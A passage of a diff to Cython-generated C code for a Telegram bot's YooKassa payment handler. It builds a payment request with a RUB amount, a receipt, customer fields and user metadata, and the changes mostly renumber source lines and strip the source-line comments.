2+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 281, __pyx_L6_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 292, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -9386,48 +8602,27 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_generator->resume_label = 6; return __pyx_r; __pyx_L18_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 281, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 292, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 281, __pyx_L6_error) + else __PYX_ERR(0, 292, __pyx_L6_error) } } - /* "handlers/payments/yookassa_pay.py":282 - * else: - * await _send_message(callback_query, " .") - * return # <<<<<<<<<<<<<< - * - * if amount <= 0: - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L5_return; } __pyx_L8:; - /* "handlers/payments/yookassa_pay.py":284 - * return - * - * if amount <= 0: # <<<<<<<<<<<<<< - * await _send_message(callback_query, " .") - * return - */ - __pyx_t_2 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 284, __pyx_L6_error) - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 284, __pyx_L6_error) + __pyx_t_2 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 295, __pyx_L6_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 295, __pyx_L6_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_6) { - /* "handlers/payments/yookassa_pay.py":285 - * - * if amount <= 0: - * await _send_message(callback_query, " .") # <<<<<<<<<<<<<< - * return - * - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 285, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 296, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; __pyx_t_5 = 0; @@ -9444,10 +8639,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ } #endif { - PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__22}; + PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__25}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 285, __pyx_L6_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 296, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -9462,42 +8657,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_generator->resume_label = 7; return __pyx_r; __pyx_L20_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 285, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 296, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 285, __pyx_L6_error) + else __PYX_ERR(0, 296, __pyx_L6_error) } } - /* "handlers/payments/yookassa_pay.py":286 - * if amount <= 0: - * await _send_message(callback_query, " .") - * return # <<<<<<<<<<<<<< - * - * try: - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L5_return; - /* "handlers/payments/yookassa_pay.py":284 - * return - * - * if amount <= 0: # <<<<<<<<<<<<<< - * await _send_message(callback_query, " .") - * return - */ } - /* "handlers/payments/yookassa_pay.py":288 - * return - * - * try: # <<<<<<<<<<<<<< - * payment = Payment.create( - * { - */ { __Pyx_ExceptionSave(&__pyx_t_8, &__pyx_t_9, &__pyx_t_10); __Pyx_XGOTREF(__pyx_t_8); @@ -9505,129 +8679,66 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __Pyx_XGOTREF(__pyx_t_10); /*try:*/ { - /* "handlers/payments/yookassa_pay.py":289 - * - * try: - * payment = Payment.create( # <<<<<<<<<<<<<< - * { - * "amount": {"value": str(amount), "currency": "RUB"}, - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 289, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 300, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_create); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 289, __pyx_L21_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_create); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 300, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":291 - * payment = Payment.create( - * { - * "amount": {"value": str(amount), "currency": "RUB"}, # <<<<<<<<<<<<<< - * "confirmation": { - * "type": "redirect", - */ - __pyx_t_3 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 291, __pyx_L21_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 302, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 291, __pyx_L21_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 302, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_11 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 291, __pyx_L21_error) + __pyx_t_11 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 302, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_value, __pyx_t_11) < 0) __PYX_ERR(0, 291, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_value, __pyx_t_11) < 0) __PYX_ERR(0, 302, __pyx_L21_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 291, __pyx_L21_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_amount, __pyx_t_4) < 0) __PYX_ERR(0, 291, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 302, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_amount, __pyx_t_4) < 0) __PYX_ERR(0, 302, __pyx_L21_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/yookassa_pay.py":293 - * "amount": {"value": str(amount), "currency": "RUB"}, - * "confirmation": { - * "type": "redirect", # <<<<<<<<<<<<<< - * "return_url": f"{REDIRECT_LINK}", - * }, - */ - __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 293, __pyx_L21_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 304, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_type, __pyx_n_u_redirect) < 0) __PYX_ERR(0, 293, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_type, __pyx_n_u_redirect) < 0) __PYX_ERR(0, 304, __pyx_L21_error) - /* "handlers/payments/yookassa_pay.py":294 - * "confirmation": { - * "type": "redirect", - * "return_url": f"{REDIRECT_LINK}", # <<<<<<<<<<<<<< - * }, - * "capture": True, - */ - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_REDIRECT_LINK); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 294, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_REDIRECT_LINK); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 305, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 294, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 305, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_return_url, __pyx_t_12) < 0) __PYX_ERR(0, 293, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_return_url, __pyx_t_12) < 0) __PYX_ERR(0, 304, __pyx_L21_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_confirmation, __pyx_t_4) < 0) __PYX_ERR(0, 291, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_confirmation, __pyx_t_4) < 0) __PYX_ERR(0, 302, __pyx_L21_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/yookassa_pay.py":296 - * "return_url": f"{REDIRECT_LINK}", - * }, - * "capture": True, # <<<<<<<<<<<<<< - * "description": f" {tg_id}", - * "receipt": { - */ - if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_capture, Py_True) < 0) __PYX_ERR(0, 291, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_capture, Py_True) < 0) __PYX_ERR(0, 302, __pyx_L21_error) - /* "handlers/payments/yookassa_pay.py":297 - * }, - * "capture": True, - * "description": f" {tg_id}", # <<<<<<<<<<<<<< - * "receipt": { - * "customer": { - */ - __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 297, __pyx_L21_error) + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 308, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_12 = __Pyx_PyUnicode_Concat(__pyx_kp_u__7, __pyx_t_4); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 297, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyUnicode_Concat(__pyx_kp_u__7, __pyx_t_4); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 308, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_description, __pyx_t_12) < 0) __PYX_ERR(0, 291, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_description, __pyx_t_12) < 0) __PYX_ERR(0, 302, __pyx_L21_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - /* "handlers/payments/yookassa_pay.py":299 - * "description": f" {tg_id}", - * "receipt": { - * "customer": { # <<<<<<<<<<<<<< - * "full_name": callback_query.from_user.full_name, - * "email": f"{tg_id}@{EMAIL}", - */ - __pyx_t_12 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 299, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 310, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); - /* "handlers/payments/yookassa_pay.py":300 - * "receipt": { - * "customer": { - * "full_name": callback_query.from_user.full_name, # <<<<<<<<<<<<<< - * "email": f"{tg_id}@{EMAIL}", - * "phone": "79000000000", - */ - __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 300, __pyx_L21_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 311, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 300, __pyx_L21_error) + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 311, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_full_name); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 300, __pyx_L21_error) + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_full_name); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 311, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_full_name, __pyx_t_13) < 0) __PYX_ERR(0, 300, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_full_name, __pyx_t_13) < 0) __PYX_ERR(0, 311, __pyx_L21_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - /* "handlers/payments/yookassa_pay.py":301 - * "customer": { - * "full_name": callback_query.from_user.full_name, - * "email": f"{tg_id}@{EMAIL}", # <<<<<<<<<<<<<< - * "phone": "79000000000", - * }, - */ - __pyx_t_13 = PyTuple_New(3); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 301, __pyx_L21_error) + __pyx_t_13 = PyTuple_New(3); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 312, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_14 = 0; __pyx_t_15 = 127; - __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 301, __pyx_L21_error) + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 312, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) : __pyx_t_15; __pyx_t_14 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_11); @@ -9638,9 +8749,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_t_14 += 1; __Pyx_GIVEREF(__pyx_kp_u__6); PyTuple_SET_ITEM(__pyx_t_13, 1, __pyx_kp_u__6); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_EMAIL); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 301, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_EMAIL); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 312, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 301, __pyx_L21_error) + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 312, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_15; @@ -9648,93 +8759,58 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __Pyx_GIVEREF(__pyx_t_16); PyTuple_SET_ITEM(__pyx_t_13, 2, __pyx_t_16); __pyx_t_16 = 0; - __pyx_t_16 = __Pyx_PyUnicode_Join(__pyx_t_13, 3, __pyx_t_14, __pyx_t_15); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 301, __pyx_L21_error) + __pyx_t_16 = __Pyx_PyUnicode_Join(__pyx_t_13, 3, __pyx_t_14, __pyx_t_15); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 312, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_email, __pyx_t_16) < 0) __PYX_ERR(0, 300, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_email, __pyx_t_16) < 0) __PYX_ERR(0, 311, __pyx_L21_error) __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_phone, __pyx_kp_u_79000000000) < 0) __PYX_ERR(0, 300, __pyx_L21_error) - if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_customer, __pyx_t_4) < 0) __PYX_ERR(0, 299, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_phone, __pyx_kp_u_79000000000) < 0) __PYX_ERR(0, 311, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_customer, __pyx_t_4) < 0) __PYX_ERR(0, 310, __pyx_L21_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/yookassa_pay.py":306 - * "items": [ - * { - * "description": f" {tg_id}", # <<<<<<<<<<<<<< - * "quantity": "1.00", - * "amount": { - */ - __pyx_t_4 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 306, __pyx_L21_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 317, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 306, __pyx_L21_error) + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 317, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_16); - __pyx_t_13 = __Pyx_PyUnicode_Concat(__pyx_kp_u__7, __pyx_t_16); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 306, __pyx_L21_error) + __pyx_t_13 = __Pyx_PyUnicode_Concat(__pyx_kp_u__7, __pyx_t_16); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 317, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_description, __pyx_t_13) < 0) __PYX_ERR(0, 306, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_description, __pyx_t_13) < 0) __PYX_ERR(0, 317, __pyx_L21_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_quantity, __pyx_kp_u_1_00) < 0) __PYX_ERR(0, 306, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_quantity, __pyx_kp_u_1_00) < 0) __PYX_ERR(0, 317, __pyx_L21_error) - /* "handlers/payments/yookassa_pay.py":309 - * "quantity": "1.00", - * "amount": { - * "value": str(amount), # <<<<<<<<<<<<<< - * "currency": "RUB", - * }, - */ - __pyx_t_13 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 309, __pyx_L21_error) + __pyx_t_13 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 320, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_13); - __pyx_t_16 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 309, __pyx_L21_error) + __pyx_t_16 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 320, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_16); - if (PyDict_SetItem(__pyx_t_13, __pyx_n_u_value, __pyx_t_16) < 0) __PYX_ERR(0, 309, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_13, __pyx_n_u_value, __pyx_t_16) < 0) __PYX_ERR(0, 320, __pyx_L21_error) __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (PyDict_SetItem(__pyx_t_13, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 309, __pyx_L21_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_amount, __pyx_t_13) < 0) __PYX_ERR(0, 306, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_13, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 320, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_amount, __pyx_t_13) < 0) __PYX_ERR(0, 317, __pyx_L21_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_vat_code, __pyx_int_1) < 0) __PYX_ERR(0, 306, __pyx_L21_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_payment_subject, __pyx_n_u_payment) < 0) __PYX_ERR(0, 306, __pyx_L21_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_payment_mode, __pyx_n_u_full_payment) < 0) __PYX_ERR(0, 306, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_vat_code, __pyx_int_1) < 0) __PYX_ERR(0, 317, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_payment_subject, __pyx_n_u_payment) < 0) __PYX_ERR(0, 317, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_payment_mode, __pyx_n_u_full_payment) < 0) __PYX_ERR(0, 317, __pyx_L21_error) - /* "handlers/payments/yookassa_pay.py":304 - * "phone": "79000000000", - * }, - * "items": [ # <<<<<<<<<<<<<< - * { - * "description": f" {tg_id}", - */ - __pyx_t_13 = PyList_New(1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 304, __pyx_L21_error) + __pyx_t_13 = PyList_New(1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 315, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_GIVEREF(__pyx_t_4); - if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 0, __pyx_t_4)) __PYX_ERR(0, 304, __pyx_L21_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 0, __pyx_t_4)) __PYX_ERR(0, 315, __pyx_L21_error); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_items, __pyx_t_13) < 0) __PYX_ERR(0, 299, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_items, __pyx_t_13) < 0) __PYX_ERR(0, 310, __pyx_L21_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_receipt, __pyx_t_12) < 0) __PYX_ERR(0, 291, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_receipt, __pyx_t_12) < 0) __PYX_ERR(0, 302, __pyx_L21_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - /* "handlers/payments/yookassa_pay.py":318 - * ], - * }, - * "metadata": {"user_id": tg_id}, # <<<<<<<<<<<<<< - * }, - * uuid.uuid4(), - */ - __pyx_t_12 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 318, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 329, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); - if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_user_id, __pyx_cur_scope->__pyx_v_tg_id) < 0) __PYX_ERR(0, 318, __pyx_L21_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_metadata, __pyx_t_12) < 0) __PYX_ERR(0, 291, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_user_id, __pyx_cur_scope->__pyx_v_tg_id) < 0) __PYX_ERR(0, 329, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_metadata, __pyx_t_12) < 0) __PYX_ERR(0, 302, __pyx_L21_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - /* "handlers/payments/yookassa_pay.py":320 - * "metadata": {"user_id": tg_id}, - * }, - * uuid.uuid4(), # <<<<<<<<<<<<<< - * ) - * - */ - __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_uuid); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 320, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_uuid); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 331, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_13); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 320, __pyx_L21_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 331, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; __pyx_t_13 = NULL; @@ -9755,7 +8831,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; __pyx_t_12 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; - if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 320, __pyx_L21_error) + if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 331, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } @@ -9779,7 +8855,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 289, __pyx_L21_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 300, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); 